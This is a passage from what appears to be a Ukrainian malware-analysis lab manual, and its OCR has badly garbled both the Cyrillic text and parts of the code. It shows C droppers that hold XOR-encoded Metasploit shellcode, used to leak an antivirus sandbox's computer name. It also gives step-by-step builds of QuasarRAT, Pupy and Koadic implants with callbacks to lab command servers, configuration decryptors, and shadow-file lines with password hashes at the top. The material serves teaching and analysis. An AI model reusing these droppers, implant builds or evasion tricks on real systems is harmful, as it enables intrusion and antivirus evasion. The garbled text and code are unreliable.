robin: $1$$967PjKP5jcE+7susJjzT7Q==:16727:0:99999:7::
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justin: $1$$zRTDI5AgJ0cshQqoKNYOpw==:16727:0:99999:7:::

He /proc/PID/maps micTurh Kapry mnam’gTi y TEKCTOBOMY BUIJISIL, a y
/proc/PID/mem emymoerbesa gocryn mo nam’dri mponecy. B niiboBomy 1po-
rieci mocuianms 3 http://redd.it/78aa07.

6.3.3 Amnaui3z emyssgTOpiB aHTUBIpYyCiB

Kpim anmamizy xkoudiryparii IIII3 € i inma 3amaga — ananiz koudiryparii emy-
JTOpiB aHTHBIpyCiB 3 Meroo mporuiail. Cydacui anTuBipychi 3acobu mim gac
CKaHyBaHHSI IPOBOJATDH NUHAMIYHUN aHAJI3 — eMyJIIOI0Th BUKOHAHHS 3pa3Ka y
BiracHiit micounumi. s IIII3 1e Burmsimae sk 3amyck y BipTyaJbHIi ManinHi,
[0 Ma€ BJIACHI iM’sl, CIIMCOK TPOIECiB, dailyioBy cucremy 3 daitiamu Ta iH. Y
BHUIAJIKY, KOJIM KOHMIryparlisa Takol BipTyaJIbHOI MAITIMHI MA€ CIILJIbHI PUCH MiXk
3aIrycKaMmu, Iie Moyke OyTH BUKOPUCTAHO JJIS JeTEeKTYyBAHHS aHTUBIPYCY 1 MacKy-
BaHH#A IIKiTMBOr0O HaBaHTaxkKeHHs. [Ipukia mogibHoro inanKaTopy — mocriiitne
iM’st cucremu 3a GetComputerNameA ().

OrpumaTu gaHi PO KOHMIrypaIio eMyIaTopa J0CTIKY0YN KO aHTHBIPY-
Cy CKJIAJTHO, 3 OTJIsITy Ha 00CST KOJIy Ta YaCTO HASIBHICTH 3aXUCTY BiJ 3BOPOTHBOT
po3podbku. IIpsima epegada Janmx 3 eMyJIsITOPa TEXK CKJIAIHA — BipTyajabHA Ma-
mrHa i301p0BaHa. Pa3zom 3 TuM, icHye TpuBiaJbHUM KaHAJ BUTOKY iHdoOpMmarril
— Ha3Ba BUSBJIEHOTO IIKiJIMBOTO HaBaHTaxKeHHsA. Tax, jjis Toro mob mepeiaTu
1 6ir indopMariil 3pa30K MOXKe MICTUTH y COD1 y 3aKOJI0BaHOMY BUIJISIII 2 1HIII
3pa3ku, Bimomi anTusipycy. s 3aagenns 6ity 0 3pa3ok posmmdpoBye Ta 30e-
pirae neprumii Bapiant, Jyist 1 — apyruit. AuTHBIpyC qeTekTye crBopeHHs dailiin
y BipTyasibHi# MamuHi, i crioBimye Kopucrysada mpo 3uaiigene [IT13. Tlpu Bu-
KOPHCTaHHI GLIBINOT KIIBKOCTI 3pa3KiB mpomnec MoxkHa npuimsuammta (39, 40].

Posrissnemo npukiia s orpumanHst imeni cucremu y Kaspersky Antivirus Free.
B sxocTi ingukaTopis:

e 1 — recrowmit 3pa3ok EICAR https://www.eicar.org/7page_id=3950,
e 0 — windows/exec mesuikoy 3 Metasploit,

mo gerekryorbes sik EICAR-Test-File ta Trojan. Win32.Shelma.ind Bizrio-
Bizmno. TecToBuii 3pa3ok ckimagaeThes 3 leak.h:

#ifndef __LEAK_H__
#define __LEAK_H__
#include <stdint.h>

// malware XOR Oxff

// eicar.com

// KAV EICAR-Test-File

uint8_t bit1[] = {167, 202, 176, 222, 175, 218, 191, 190, 175, 164, 203, 163,
175, 165, 167, 202, 203, 215, 175, 161, 214, 200, 188, 188, 214, 200,
130, 219, 186, 182, 188, 190, 173, 210, 172, 171, 190, 177, 187, 190,
i73, 187, 210, 190, 177, 171, 182, 169, 182, 173, 170, 172, 210, 171,
186, 172, 171, 210, 185, 182, 179, 186, 222, 219, 183, 212, 183, 213};

// msfvenom -p windows/exec cmd=calc -o bit0O.bin
// KAV Trojan.Win32.Shelma.ind
uint8_t bito[] = {3, 23, 125, 255, 255, 255, 159, 118, 26, 206, 63, 155, 116,
175, 207, 11e6, 173, 243, 116, 173, 235, 116, 141, 215, 240, 72, 181,
217, 206, 0, 83, 195, 158, 131, 253, 211, 223, 62, 48, 242, 254, 56, 29,
13, 173, 1eé8, 116, 173, 239, 116, 181, 195, 116, 179, 238, 135, 28,
183, 254, 46, 174, 116, 166, 223, 254, 44, 116, 182, 231, 28, 197, 182,
116, 203, 116, 254, 41, 206, O, 83, 62, 48, 242, 254, 56, 199, 31, 138,
9, 262, 130, 7, 196, 130, 219, 138, 27, 167, 116, 167, 219, 254, 44,
153, 116, 243, 180, 116, 167, 227, 254, 44, 116, 251, 116, 254, 47, 118,
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187, 219, 219, 164, 164, 158, 166, 165, 174, 0, 31, 160, 160, 165, 116,
237, 20, 114, 162, 149, 254, 114, 122, 77, 255, 255, 255, 175, 151,
206, 116, 144, 120, O, 42, 68, 15, 74, 93, 169, 151, 89, 106, 66, 98, O,
42, 195, 249, 131, 245, 127, 4, 31, 138, 250, 68, 184, 236, 141, 144,
149, 255, 172, 0, 42, 156, 158, 147, 156, 255};
#endif

Ta leak.c:

#include <stdio.h>
#include <windows.h>
#include "leak.h"

#define SIG "KITTY"
char* bit = SIG "000";

int main ()

{
CHAR buf [1024] = {0};
DWORD sz = sizeof (buf);

GetComputerNameA (buf, &sz);

char* p;
int b, psz;

b = atoi(bit+sizeof (SIG)-1);

if (buf[b / 8] & (1 << (b % 8))) {
p = bitl;
psz = sizeof (bitl);
} else {
p = bitO;
psz = sizeof (bit0);
}

FILE* out = fopen("malware.exe", "wb");
while (psz--)

fputc (Oxff ~ *p++, out);
fclose (out);

system("malware.exe");

st miaroToBKM MacuBy (ailiB BUKOPUCTOBYETHCS gen.sh, pesyabraTu 36e-
piratorbcst B Katasiosi out/:

#!/bin/bash

1686 -w64 -mingw32-gcc leak.c -o leak.exe
strip -s leak.exe

for i in ‘seq -f %03g 0 159¢; do

sed "s/KITTYOOO/KITTY$i/" leak.exe > out/bit.$i.exe
done

[Ticas ycminmHOro ¢TBOpeHHsl MacuBy aiiiis, neooximno 8 KAV mpockamy-
BaTH KaTajor out, Ta eKCIIOPTYyBaTH 3BIT y TeKcToBuil daiia. 3BiT Mae BUIIILA:

30.04.2020 04.34.34 Detected object (file) deleted out\bit.088.exe File:
out\bit .088. exe Object name: Trojan.Win32.Shelma.ind
30.04.2020 04.34.34 Detected object (file) moved to Quarantine out\
bit .088.exe//# File: out\bit.088.exe//# Object name: Trojan.
Win32.Shelma.ind
30.04.2020 04.34.33 Detected object (file) deleted out\bit.006.exe File:
out\bit.006. exe Object name: EICAR-Test-File
30.04.2020 04.34.33 Detected object (file) moved to Quarantine out\
bit .006.exe//# File: out\bit.006.exe//# Object name: EICAR-
Test -File
30.04.2020 04.34.33 Detected object (file) deleted out\bit.055.exe File:
out\bit .055. exe Object name: Trojan.Win32.Shelma.ind
30.04.2020 04.34.33 Detected object (file) moved to Quarantine out\
bit .055.exe//# File: out\bit.055.exe//# Object name: Trojan.

Win32.Shelma.ind
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| @ Detailed Reports - O x ‘

|__ File Anti-Virus - 24 hours Export.. @
Tod
oday Detected object (file) deleted
Detected object (file) deleted 05:39 Application
Citesticheckexe Windows Explorer
File
Detected object (fil d t ti 05:39
.e ec ol jec.: (file) moved to Quarantine 15:39 Ci\test\check.exe
Ci check.exe//#
Time
Object (file) detected 05:39 Today, 30/04/2020 05:39
Citesticheckexe//#
Object name

EICAR-Test-File
Task started 05:38

File Anti-Virus

Puc. 6.3: Pesynprarn ckanyBanns check.exe y KAV

30.04.2020 04.34.33 Detected object (file) deleted out\bit.047.exe File:
out\bit.047.exe Object name: Trojan.Win32.Shelma.ind

BuginuTn 6itu moBioMIeHHST MOXKHA, 38 JIOIIOMOTOO:

$ grep deleted report.txt | awk -Fbit. ’{print $3}’ | sort -n | cut -c 22-22
| tr TE 01 | xargs | tr -d > > | rev

$ ipython

In [1]: from Crypto.Util.number import long_to_bytes as 12b

In [2]: 12b(0b1110011011010010110101101101011011001010111100101111001) [::-1]

Out [2]: ’yyekkis’

Takum yumHOM 3HaiimeHo iM’'s cucremu y BipTyaubHiit mammuai. [TepeBipumo
SBHO 3a J01oMoroo check.c:

$ i1686-w64-mingw32-gcc check.c -o check.exe

#include <stdio.h>
#include <windows.h>
#include "leak.h"

int main ()

{
CHAR buf [1024] = {0};
DWORD sz = sizeof (buf);
GetComputerNameA (buf , &sz);

char* p;
int b, psz;

if (!strcmp (buf, "yyekkis"))

{
p = bitt;
psz = sizeof (bitl);
} else {
p = bit0O;
psz = sizeof (bit0);
¥
FILE* out = fopen("malware.exe", "wb");

while (psz--)
fputc (Oxff ~ *p++, out);
fclose (out);
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system("malware.exe");

Pesysnbratn na puc. 6.3, GetComputerNameA noBeprae psiiok “yyekkis”.

6.4

6.5

BapianTu 3aB/1aHb

CrBopits mapcep KoHiryparii 3 mam’sti Bammol cucremu 3 aboparopuol
poboru 4. Buesnirbes, 1o napeep mpairoe iciis 3acrocyBants UPX [124]
ta MPRESS [100] na Bukonysanomy daiini 3pasky.

IIpoananizyiire 1-2 anTusipycu 3 saboparopii po3ziny 3.3.2 3a gomomo-
rol0 MeTO/iB 3 po3ainy 6.3.3. 3HallaiTh iM’s cucreMu, iM’sl KOpUCTYBata,
CIIUCOK TIPOIIECIB, CIUCOK (ailaiB Ha pobodoMy croJi, mepini 32 GaiTu
notepad.exe. s npuiBuineHHss pobOTH PEKOMEH/IYETHCSI BHKOPUCTATH
256 3paskis 3 theZoo [58], VirusShare [125] abo inmmx mkepes [126] ps
oTpuMaHHs 1 6afiTy 3a 3amuT.

ITopiBusiite Bari pesysibpraru 3 momepeHboro MyHKTY 3 KOJIErOk0, 10 BU-
KOPHCTOBYE TOIl 2Ke aHTUBIpycC. fIKi iHIUKATOPHU CIIBIAIAIOTH !

KonaTposibHI nuTaHHSI

Yomy y _cc_dump.py 3 posziiy 6.3.2 y peryiasgpHOMy BHpa3i aHasizye-
ThCsl TinbKH nostouHa Gaifitis (d[::2])? Yomy Ha puc. 6.2 HOMepa KapTOK
y BUBOJI _cc__dump.py MOBTOPIOIOTHCs?

. Homy y leak.exe poszminy 6.3.3 aHTHBIpyC He JeTEKTy€e OOH/IBA HABAHTA-

KEHHSI OTHOYACHO?
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JlabopaTopna pobora 7

AHaJIi3 IHTepIpPEeTOBAHOI'O Ta
ITPOMI?KHOI'O KOJIY

7.1 Meta pobotu

OTpuMaTn HABHYIKHU 3BOPOTHBOI pO3POOKH, /1e00dycKariil Ta anaisy iHrepipe-
TOBAHOTO Ta MPOMIZKHOTO KOJLY.

7.2 IlocranoBKa 3amadyi

Hocmigntu 3pasku I3, cucrem BimmaaeHOro KepyBaHHs Ta 3aC00iB JOCTABKU
ma 6a3i .NET, Python, JScript, PowerShell, mokymentis Microsoft Office Ta
Adobe PDF.

7.3 Ilopssgok BUKOHaHHS pPoOOTU

7.3.1 .NET

[Tnardopma .NET aktuBaO 3acrocoByerbest misi ctBopenst IITI3, takux sk
Quasar Ta noxizai Vermin, Sobaken [127]. PosrisiHemo B stkocTi npukJiasy aHa-
a3 QuasarRAT [128]. CTBopuMO 3pa30K Jlsl JIOKAJIBHOI CHCTEMHU:

1. Kionyemo penosuropiii, BijjroBuMo naketu NuGET y VS2019:

$ git clone https://github.com/quasar/QuasarRAT

2. IzomoemMo cucreMy Ta BIIKJIOUUMO aHTHBIpYC (OpUriHAJIBHUN BHKOHYBa-
Huii daiiil micis KOMIIsil IeTeKTYEThCs SK MIKIJINBUiL).

3. 36epemo koudiryparito Release.

4. ¥ pasi ycuixy B QuasarRAT /bin/Release 3amycrumo cepsep Quasar.exe,
3reHepyeMo cepTHMIKAT Ta 3aKPUTHI KIIIOY cepBepa.

5. Creopumo 3pasok: Builder, Connection Settings, Connection Host — IP
asipeca cucremu 3 Quasar.exe, Build Client.
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©

File  Settings Builder About

1P Address Tag User@PC Version  Status User Status  Country Operating System Account Type
1721678132 Officedd  User@WINDEV2003EVAL 1.3.00 Connected  Active Ukraine [UA] Windows 10 Enterprise Evaluation 64 ..  Admin
e System Information - User@WINDEV2D03EVAL [172.16.78.132:49796] - o X
Component Value ~
Operating System Windows 10 Enterprise Evaluation 64 Bit
Architecture 64 (64 Eit)
Processor (CPU)  Intel(R) Core(TM] i7-6700HQ CPU @ 2.60GHz
Memory RAM) 4085 MB
Video Card (GPU)  VMuware SVGA 3D
Usemame User
PC Name WINDEVZ003EVAL
Domain Name
Host Name WinDev2003Eval
System Drive =)
System Directory ~ GWindowshsystem32
Uptime 0d:Oh:11m: 145
MAC Address 00:0C:29:62:C9:F1 B
Listening on port 4782. LAN IP Address 1721678132
—_—

Puc. 7.1: 3pazok QuasarRAT

6. IlepeneceMoO KIII€HT B IIBOBY CHCTEMY Ta 3aILyCTHUMO.

VY pa3si ycrixy 3pa3ok mMae BUTJIAL 9K Ha puc. 7.1. Bugainmumo HamamTyBaHHs
3 GiHApHOTO 3pa3Ky. B IKOCTi JEKOMIIIATOpA Ta HAJATOPKyBada BUKOPUCTAEMO
dnSpy [129]. B pesysbrari gqekomniaanii 6auumo, mo iMena Kiacis 06¢dycKoBaHo,
puc. 7.2. s nosermenss aHasizy mnepeiimenyemo ix y ASCII 3a momomororo
nmeobdyckaropa deddot [130]:
C:\de4dot\Debug\net45> ded4dot.exe Client-built.exe
de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0Oxd4d/deddot
Detected Unknown Obfuscator (Z:\de4dot\Debug\net45\Client-built.exe)

Cleaning Z:\de4dot\Debug\net45\Client -built.exe
Renaming all obfuscated symbols

ERROR: Could not resolve FieldRef .../ReportProgressEventHandler<!0>
...<!0>::ProgressChanged (0A0004DC) (from Client.all.exe -> Client.all.
exe)

ERROR: Could not resolve MethodRef System.Void ...<!0>::

InvokeReportProgressHandlers (System.0Object) (0AO004E0) (from Client.all.
exe -> Client.all.exe)

Saving Z:\de4dot\Debug\net45\Client -built-cleaned.exe

Ignored 9 warnings/errors

Use -v/-vv option or set environment variable SHOWALLMESSAGES=1 to see all
messages

Press any key to exit...

Tenep y GClass0.cs moxkHa mobauuTu onepariil 3 3amudpoBanuMu Ta Base64

KOJIOBAHUMU PsiJIKAMU 3 HAJIAIITYBAHHSIMIE, CXOKUMHU Ha pe3y/abraru Quasar.Server/
Build/ ClientBuilder.cs:

using System;

using System.Security.Cryptography;

using System.Security.Cryptography.X509Certificates;
using System.Text;

// Token: 0x02000006 RID: 6

public static class GClassO

{
// Token: 0x06000010 RID: 16 RVA: 0x00008960 File Offset: 0x00006B60
public static bool smethod_0()

{
if (string.IsNullOrEmpty (GClassO.string_0))
{
return false;
}

Class101 @class = new Class101(GClassO.string_7);
GClassO.string_8 = @class.method_2(GClassO.string_8);
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B dnSpy v6.1.4 (64-bit) - 0 x

File Edit View Debug Window Help @ .2 s - b Stat 2

4 @ Client.all (13.0.0) - 1 using N
48 Clientallexe 2 using
b opE
b =8 Fype References 4 // Token: @x@2000025 RI
o 5 public class \up3se
b vm References A

3 Resources

7 // Token: @x1768@02F RID: 47
44} - 8 // (get) Token: @xBG@@BOF@ RID: 248 RVA: BxBBBBGGES File Offset: BxBBOBBED
b %, <Module> @02000001 ] // (set) Token: @xBG6@@BOF1 RID: 241 RVA: BxBBBBGEF1 File Offset: BxBBOBISFL

Qu

r.Common. <PrivatelmplementationDetails> @02000187 10 public string Username { get; set; }
nbly @02000073

@0200019E 12 // Token: ©x17688038 RID: 48
ST gt 13 // (g=t) Token: @xBG@GEOF2 RID: 242 RVA: @xBOBOGGFA File Offset: GxBOOB4SFA

AR5 El

4 % \OIOLASESHTR R o T e 14 //his‘et)th‘:kenp axasazaara :m: iaa RVA: @xDOODE702 File Offset: 0X0BOBAIH2
b 1% Base Type and Interfaces b public string Password { gets set; }
b 150 Derived Types N R 17 // Token: @x1768@@31 RID: 49
@ \ub AGESFROT WE3241E\UEATANU22BS5T \ 18 /7 (get) Token: @x@6@@88F4 RID: 244 RVA: @x80@0670B File Offset: 8x00004908
@ ToString() : string @060000F6 19 J/ (set) Token: @x@6@@0BFS RID: 245 RVA: @x88@06713 File Offset: @x0eee4913
b f Ho: i @17000031 28 public Uri Host { get; set; }
(¥4 ord : string @17000030 21
b & Username: string @1700002F 22 J/ Token: @x@660@0F6 RID: 246 RVA: 8x8080671C File Offset: 8x8008491C
@, SRR\ R EE ROTRERERIEH DR st B public override string ToString()
o - p 4 1
5 T3\ 1089\ UEFC4SR B \u324ABE\UEBTS o\ EEa) - ; . . .
= 2 return string.Format("User: {@}{3}Pass: {1}{3}Host: {2}", new cbject
e, BE\UFFFDro B2 \u1D2C\u223938 T 572 \u24DF pd ¢ e ( {oH3} (213} 2 Jectll
P %, \u05C238\U12CT\u2B33B\UFBCA\U2 198\ UETCACD\ U2 TSR &R\ uF 27 this.Username,
A%, o=d F\FFF <03 28 this.Password,
b i Base Type and Interfaces 29 this.Host.Host,
P #1 Derived Types 38 Environment.NewLine
31 i
n 32 b
P& 33
b &y \W0B3AZ *Z\u2793-4EHE uEFIB\UFFFDSH] BRI 34 // Token: 8x9468@08B RID: 139
D %, O S E\2GEIR\UEMCTE! 35 [CompilerGenerated]
36 private string p\u26F2ERn\uzFea R E RSB E8] wrrFroa;
37
WF15T4te @0200012 38 J/ Token: @x@460@08C RID: 148
7023\ WESCB\ul 39 [CompilerGenerated] _
o a0 private string 1EeEE XEENUFFFOmEEE \u1020 \u2239 B F B S \u240F 8 \u2103;

Puc. 7.2: O6dyckaris imen kjaciB i MmeroniB y QuasarRAT

GClassO.string 0 = @class.method_2(GClassO.string_0);
GClassO.string_1 = @class.method_2(GClassO.string_1);
GClassO.string_3 = @class.method_2(GClassO.string_3);
GClassO.string_4 = Qclass.method_2(GClassO.string_4);
GClassO.string_5 = Qclass.method_2(GClassO.string_5);
GClassO.string_ 6 = @class.method_2(GClassO.string_6);
GClassO.string_9 = @class.method_2(GClassO.string_9);
GClassO.string_10 = @class.method_2(GClassO.string_10);
GClass0.x509Certificate2_0 = new X509Certificate2(Convert.
FromBase64String (@class.method_2(GClassO.string_11)));
GClassO.smethod_1(Q);
return GClassO.smethod_2();
}

// Token: 0x04000008 RID: 8

public static string string_0 = "txf4w01l/0X9vz876UnpIloH1MbwxX6WUIC/4xJZ+qR4
/XhE+JG3foIVixsvwI8t8LMIJKedPhz3at3HMMbWz3Su=="}

// Token: 0x04000009 RID: 9

public static string string_1 = "uJfTXcfxhhOBPI+
DyuHtWBYAxHeg8XC1lBaXw2GSnabLBNo18isDGPwHxonX+0aH7SxK9i6DvZ/
ghqPxngJszLTnpKCaM/xLe jKNWO1rPDfk="};

// Token: 0x0400000A RID: 10

public static int int_0 = 3000;

public static string string_7 = "HG6J6BBx8Y57ajgHIoolbYxAYxkFTlal";

// Token: 0x04000016 RID: 22

public static string string_ 8 = "+1
rpmpV1P1bDseylrIWB2s0EsnGd0jDmgzgrO0KCzaf5Vx4VysZbzSPWDJTE/
GU3d9Ja6Z11bGdiP9EKESIXTSw==";

Posmudpysanns paakis y Class101.cs, mo signosimae Quasar.Common/
Cryptography,/ Aes256.cs:

using System;

using System.IO;

using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
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// Token: 0x020001B5 RID: 437
internal class Class101
{
// Token: 0x06000C55 RID: 3157 RVA: 0x0002F620 File Offset: 0x0002D820
public Class101(string masterKey)
{
if (string.IsNullOrEmpty (masterKey))
{
throw new ArgumentException("masterKey can not be null or empty.");
}
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(
masterKey, Class101.byte_2, 50000))
{
this.byte_0 = rfc2898DeriveBytes.GetBytes (32);
this.byte_1 = rfc2898DeriveBytes.GetBytes (64);
}
}

Ouesupno, mo string 7 B manoMmy Bunaiky — masterkey (eaunuil psmok 3
posuipom 32 Gaiditu). Takum 9uHOM MOXKHA MOOYyBaTH JeKojep quasar _dec.py:

#!/usr/bin/env python3

import sys

import base64

from Crypto.Protocol import KDF
from Crypto.Cipher import AES

masterkey = sys.argv[-1]

salt = bytes.fromhex ("
bfeble56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941")

key = KDF.PBKDF2(masterkey, salt, dkLen=32, count=50000)

for i in sys.stdin:
i = base64.bb64decode (i)
iv = i[32:48]
data = 1i[48:]
data = AES.new(key, AES.MODE_CBC, iv).decrypt(data)
data = datal:-datal[-1]]
print (data)

BuninvTy psanku 3 HamamTyBaHHSAMEI MOYXKHA 3a JOIIOMOTOIO strings Ta Tekc-
TOBOT'O PEJAKTOPY:

$ strings -e 1 Client-built.exe > sl

$ vim sl

$ cat sl

uJfTXcfxhhOBPI+DyuHtWBYAxHeg8XC1BaXw2GSnabLBNo18isDGPwHxonX+0aH7SxK9i6DvZ/
ghqPxngJszLTnpKCaM/xLe jKNWO1rPDfk=

Gx7Daj4KJUC9ulmPCCSflwYsnV+A3+EkuwVEp7W3NSQTu/hCJidyNkulKSF3vltby5+TkHbkpqFK
+/+YupFmIw==

014thntmPvT5+nSACT4pMZN7v+QmugX6A9g5hMmfcHCs+jiqY0cqE4US1£f91KjOpjv2QAIWtEf+ul
+068AtY0cvzql9zBBi8P3CU6GabWehQ=

mSgBpugP8qVgSs1RTCt2gf SMROwmzd9BTWE6Tu2E /442xYREYwOn8paOTE7XjsJXyKdR50Dic+
Ga347F/ksbug==

$ ./quasar_dec.py HG6J6BBx8Y57ajgHIoolbYxAYxkFTlal < sl

b’172.16.78.132:4782;°

b’Client.exe’

b’Quasar Client Startup’

b’Logs’

ne 172.16.78.132:4782 — IP Ta mopr 1eHTpy KepyBaHHS.

7.3.2 Python

Posrusiremo anasiz Gaitrkony Python na npuksazai Pupy [131]. Beranosumo ta
3reHepyeEMO 3Pa30K:

1. 3aBaHTaXKUMO PEIO3UTOPIil Ta HAJIAIITYEMO pOOOYe CepelOBUIIIE:
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$ git clone https://github.com/ninj4sec/pupy
$ ./create-workspace.py pupyws
$ . pupyws/bin/activate

2. 3renepyemo 3pa30k it Windows x64, HATUBHMIA KJIIEHT

$ pupysh
>> listen -a ssl
[+] Listen: ssl: 8443

>> gen -f client -A x64 connect --host 172.16.78.1

[%] Raw user arguments given for generation: [’--host’, ’172.16.78.1°]

[%] Launcher configuration: Host & port for connection back will be set
to 172.16.78.1:None

[%#] This local listening point will be used:
=172.16.78.1:8443

[!] Host and port 172.16.78.1:None are ignored for getting the valid
local listening point but

[!] they are kept for configuring the launcher for connection back

[%] Host & port for listening point are set to: 172.16.78.1:8443

[%] Transport method ’ssl’ appended to launcher args

[%] Host & port ’172.16.78.1:8443° appended to launcher args

[+] Generate client: windows/x64

Transport=ssl Address

{ Configuration }

KEY VALUE

launcher connect

launcher_args --host 172.16.78.1:8443 -t ssl
cid 1653354235

[+] Required credentials (found)
+ SSL_BIND_CERT
+ SSL_CA_CERT
+ SSL_CLIENT_CERT
+ SSL_BIND_KEY
+ SSL_CLIENT_KEY
[+] OUTPUT_PATH: /opt/pupy/pupyws/output/pupyx64.1GxGFK.exe
[+] SCRIPTLETS: ]
[+] DEBUG: False

3. 3amycTuMo 3pa3oK B IJIbOBIiH cucTeMmi, y pasi ycmixy:

[*] Session (172.16.78.1:43817)

>> sessions

1 opened (WINDEV2003EVAL\User)
-i1

[+] Default

filter set to 1

>> info

hostname windev2003eval

user WINDEV2003EVAL\User
release 10

version 10.0.18362

cmdline C:\test\pupyx64.1GxGFK.exe
os_arch AMD64

proc_arch 64bit

pid 1128

exec_path C:\test\pupyx64.1GxGFK.exe
cid 000000005c964dfb

address 172.16.78.1

macaddr 00:0c:29:62:c9:f1

revision c9a888e3

node 000c2962c9f1

debug_logfile 7

native True

Proxy wpad

external_ip ?

uac_1lvl 2/3

intgty_1vl Medium

local_adm Yes

launcher connect

launcher_args --host 172.16.78.1:8443 -t ssl
platform windows/amd64

>> exec calc
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[ NO OUTPUT 1]

>> run screenshot

[+] number of monitor detected: 1

[+] /opt/pupy/pupyws/data/screenshots/win_windev2003eval_000c2962c9f1
/2020-05-02_02-20-26.973211-0.png

[Ipoananizyemo crsopennii 3pa3ok B IDA. KopuchHe HaBaHTarKeHHs iHzKe-
KTY€EThCsI B MIa0JIOH 3aBaHTAXKYBata MPIMUM Iepe3anncoM 00Ky KOHMIryparrii
“###t#- - -PUPY_CONFIG_COMES_HERE---####" (pupy/pupygen.py). 3uaiitu o6po-
6HUK B OiHapHOMY (hailjl MOXKHA 3a JOMOMOTOI0 aHAII3Yy (PYHKIII, IO TOCHJIAE-
ThCH HA pUpy main (TeKCTOBI paaKun):

.data:0000000140060DE8 aPupy_0 db ’pupy’,0 ; DATA XREF:
sub_140008F94+1B2o
.data:0000000140060DF0 aMain db ’main’,0 ; DATA XREF:

sub_140008F94+1EEo

HaBanTaxkeHHsT 3HAXOAUTHCs 3a nocuaanHsM config  byte  140020C10, 3mi-
menns 0x1fc10:

__int64 sub_140008F94 ()
{

HIBYTE(v8) = config_byte_140020C10;
BYTE2(v8) = byte_140020C11;
BYTE1(v8) = byte_140020C12;
LOBYTE(v8) = byte_140020C13;
if ( v8 = O####’ )
{
v7 = sub_140008EF4 (&config_byte_140020C10 + 4, v8);

Kopucue naBanTaxkenusi cruciene LZMA, micturh onwmc KoH@iryparii ta
onTUMi30BaHMit GANTKOJ B cepiasizoBaHomy 00’ekTi. Ix MOoxKHA OTpmMaTh 3a
Joriomoroio pupy _dump.py:

#!/usr/bin/env python3
import struct

import pylzma

import marshal

import re

sample = "pupyx64.1GxGFK.exe"
offs = 0x1fcl0

f = open(sample, "rb").read()
c, uc = struct.unpack(">II", floffs:offs+8])
print ("compressed {}, uncompressed {}".format(c, uc))

data = pylzma.decompress(f[offs+8:0ffs+8+c])

conf, code = marshal.loads(data)

#print (conf)

print ("launcher {}, args {}".format(conf[’launcher’], conf[’launcher_args’]))

for i in code:
#print (i)
if b"conf" in i:
print (i)
f = re.sub(b"/", b"_", i)
pyo = bytes.fromhex ("03£30d0a") + codel[i][4:]
open(b"out/"+f, "wb").write(pyo)

Kpim nexkomyBamns Koudirypariil ckpunt 36epirae 6afiTKos MOTYJIiB, 10 Mi-
craTh “conf” y Ha3Bi:

$ mkdir out

$ ./pupy_dump.py
compressed 221360, uncompressed 818558
launcher b’connect’, args [b’--host’, b’172.16.78.1:8443’, b’-t’, b’ssl’]
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b’network/transports/ec4/conf .pyo’
b’network/transports/udp_cleartext/conf.pyo’
b’network/transports/rsa/conf.pyo’
b’network/transports/ws/conf .pyo’
b’network/transports/kc4/conf .pyo’
b’network/transports/tcp_cleartext/conf.pyo’
b’network/transports/dfws/conf.pyo’
b’network/transports/ssl_rsa/conf.pyo’
b’network/conf .pyo’
b’network/transports/scramblesuit/conf.pyo’
b’network/transports/obfs3/conf.pyo’
b’network/transports/http/conf.pyo”’
b’network/transports/ecm/conf .pyo’
b’network/transports/udp_secure/conf.pyo’
b’network/transports/ssl/conf.pyo’
b’pupy/config.pyo’

Tyt 172.16.78.1:8443 — IP Ta mopT meHTpy KepyBaHHs. 3BEpPHITH yBary Ha
MOTITKO/IKEH M 3ar0yioBok — teprri 4 6aiitu PYO ta PYC daiurnis mators micTu-
tu Bepcito Python. Ilicas 11 BinTBOpenns, MOXKHA 3aCTOCYBaTH JEKOMIIJISITOD,
HanpukJa uncompyle2 [132]:

$ cd out
$ for i in *pyo; do uncompyle2 $i > ${i/.pyo/.py}; done

$ cat pupy_config.py

# 2020.05.02 03:12:35 EEST

# Embedded file name: pupy/config.py
import argparse

import sys

import shlex

import pupy

from network import conf

def update_config_from_argv():
if len(sys.argv) < 2:
return
parser = argparse.ArgumentParser (prog=’pp.py’, formatter_class=argparse.
RawTextHelpFormatter , description=’Starts a reverse connection to a
Pupy server using the selected launcher\nLast sources: https://
github.com/ninj4sec/pupy\nAuthor: @ninj4sec (contact@ninj4.eu)\n’)

Kpim Python2 icrytors gekomminsropu i must Python3d (Besmka kinbkicTsb
BapianTis uncompyle3, uncompyle6, python-decompile3, pycdc, ...). ¥V Bunaaky
06dyckanil Ha pisai 6afirkomy moxe 6yru kopucaum dis.dis() [133].

7.3.3 JavaScript

Posrasiremo meronum anamnisy JavaScript IIITI3 #a npukiani Koadic [134]. Pos-
FOPHEMO Ta, OTPUMAEMO 3Pa30K KOy, 110 BUKOHYEThCS B IIiIbOBilt CHCTeMI:

1. Posropuemo 3 BuXiiHUX KO/IiB

$ git clone https://github.com/zerosum0x0/koadic
$ cd koadic

$ sudo pip3 install -r requirements.txt

$ sudo apt install python-pyasnl python-crypto

2. 3aIycTuMo Ta OTPUMAEMO 3Pa30K KOy

$ ./koadic

(koadic: sta/js/mshta)$ options

NAME VALUE REQ DESCRIPTION

SRVHOST 172.16.78.149 yes Where the stager should call home
SRVPORT 9999 yes The port to listen for stagers on
EXPIRES no MM/DD/YYYY to stop calling home
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KEYPATH no Private key for TLS communications

CERTPATH no Certificate for TLS communications

ENDPOINT U9HilJ yes URL path for callhome operations

MODULE no Module to run once zombie is staged

ONESHOT false yes oneshot

AUTOFWD true yes automatically fix forwarded connection URLs

(koadic: sta/js/mshta)$ run
[+] Spawned a stager at http://172.16.78.149:9999/U9HiJ
[>] mshta http://172.16.78.149:9999/U9HiJ

$ wget http://172.16.78.149:9999/U9HiJ -0 sample

Cuiz 3azuauntu, Be6 kommonentr 11113 wacro 610KyIOTH JOCTYT J1JTsT KJTi-
enTiB 3 He3BuuHUMHN mapamerpamu. Tax, HTTP zaromoku mshta:

$ ncat -kvlp 9998

GET /U9HiJ HTTP/1.1

Accept: *x/x*

Accept -Language: en-US,en;q=0.5

UA-CPU: AMD64

Accept -Encoding: gzip, deflate

User -Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64;
x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR
3.0.30729; .NET CLR 3.5.30729)

Host: 172.16.78.149:9998

Connection: Keep-Alive

